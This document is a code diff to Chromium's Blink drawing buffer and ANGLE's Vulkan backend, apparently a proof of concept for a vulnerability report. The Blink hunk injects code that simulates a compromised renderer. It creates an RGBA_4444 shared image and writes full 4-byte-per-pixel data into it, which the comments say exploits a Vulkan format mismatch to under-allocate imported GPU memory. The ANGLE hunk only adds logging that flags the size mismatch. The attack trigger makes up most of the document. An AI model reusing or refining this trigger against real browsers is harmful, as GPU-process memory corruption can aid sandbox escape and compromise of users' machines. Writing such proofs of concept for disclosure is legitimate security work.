diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc index c827786fb60ae..55f5d66c31bb9 100644 --- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc +++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc @@ -2053,6 +2053,67 @@ scoped_refptr DrawingBuffer::CreateColorBuffer( gpu::SharedImageInterface* sii = ContextProvider()->SharedImageInterface(); + // ======================================================================== + // POC INJECTION: Compromised-renderer simulation. + // Sends CreateSharedImage(RGBA_4444) + CreateAndTexStorage2DSharedImage to + // the GPU process. On a Vulkan driver where R4G4B4A4_UNORM_PACK16 lacks + // FILTER_LINEAR, the GPU process allocates a 2bpp VkImage but ANGLE binds + // a 4bpp R8G8B8A8 image to the same FD-imported memory. + // ======================================================================== + static bool poc_ran = false; + if (!poc_ran && sii && gl_) { + poc_ran = true; + fprintf(stderr, "[POC] renderer: creating RGBA_4444 SharedImage 1024x1024\n"); + const gfx::Size poc_size(1024, 1024); + gpu::SharedImageUsageSet poc_usage = gpu::SHARED_IMAGE_USAGE_GLES2_READ | + gpu::SHARED_IMAGE_USAGE_GLES2_WRITE | + gpu::SHARED_IMAGE_USAGE_DISPLAY_READ; + auto poc_si = sii->CreateSharedImage( + {viz::SinglePlaneFormat::kRGBA_4444, poc_size, gfx::ColorSpace::CreateSRGB(), + kTopLeft_GrSurfaceOrigin, kPremul_SkAlphaType, poc_usage, + "POC_RGBA4444"}, + gpu::kNullSurfaceHandle); + if (poc_si) { + fprintf(stderr, + "[POC] renderer: SharedImage created, producing GL texture\n"); + std::unique_ptr poc_tex = + poc_si->CreateGLTexture(gl_); + if (poc_tex) { + auto poc_access = poc_tex->BeginAccess(gpu::SyncToken(), + /*readonly=*/false); + GLuint poc_tex_id = poc_access->texture_id(); + fprintf(stderr, + "[POC] renderer: GL texture id=%u, clearing via framebuffer " + "(triggers full-image write in GPU process)\n", + poc_tex_id); + GLuint poc_fbo = 0; + gl_->GenFramebuffers(1, &poc_fbo); + gl_->BindFramebuffer(GL_FRAMEBUFFER, poc_fbo); + gl_->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, poc_tex_id, 0); + gl_->ClearColor(1.0f, 0.5f, 0.25f, 1.0f); + gl_->Clear(GL_COLOR_BUFFER_BIT); + // Also drive a TexSubImage2D upload (vkCmdCopyBufferToImage path). + gl_->BindTexture(GL_TEXTURE_2D, poc_tex_id); + std::vector poc_pixels( + static_cast(poc_size.width()) * poc_size.height() * 4, 0xAB); + gl_->TexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, poc_size.width(), + poc_size.height(), GL_RGBA, GL_UNSIGNED_BYTE, + poc_pixels.data()); + gl_->Finish(); + gl_->DeleteFramebuffers(1, &poc_fbo); + gpu::SharedImageTexture::ScopedAccess::EndAccess(std::move(poc_access)); + fprintf(stderr, "[POC] renderer: done\n"); + } else { + fprintf(stderr, "[POC] renderer: CreateGLTexture failed\n"); + } + } else { + fprintf(stderr, "[POC] renderer: CreateSharedImage failed\n"); + } + gl_->Flush(); + } + // ======================================================================== + scoped_refptr back_buffer_shared_image; // The SharedImages created here are read to and written from by WebGL. They diff --git a/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp b/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp index 525598c69e..d8cad04a88 100644 --- a/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp +++ b/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp @@ -221,6 +221,19 @@ angle::Result MemoryObjectVk::createImage( VkMemoryRequirements externalMemoryRequirements; image->getImage().getMemoryRequirements(renderer->getDevice(), &externalMemoryRequirements); + // POC DIAGNOSTIC (observability only — does not alter control flow): + fprintf(stderr, + "[POC] MemoryObjectVk::createImage: GL internalFormat=0x%X " + "intendedFormatID=%d actualFormatID=%d " + "imported mSize=%llu vkMemReq.size=%llu %s\n", + internalFormat, static_cast(intendedFormatID), + static_cast(actualFormatID), + static_cast(mSize), + static_cast(externalMemoryRequirements.size), + (externalMemoryRequirements.size > mSize) + ? ">>> SIZE MISMATCH (under-allocated import) <<<" + : ""); + const void *importMemoryInfo = nullptr; VkMemoryDedicatedAllocateInfo memoryDedicatedAllocateInfo = {}; if (mDedicatedMemory)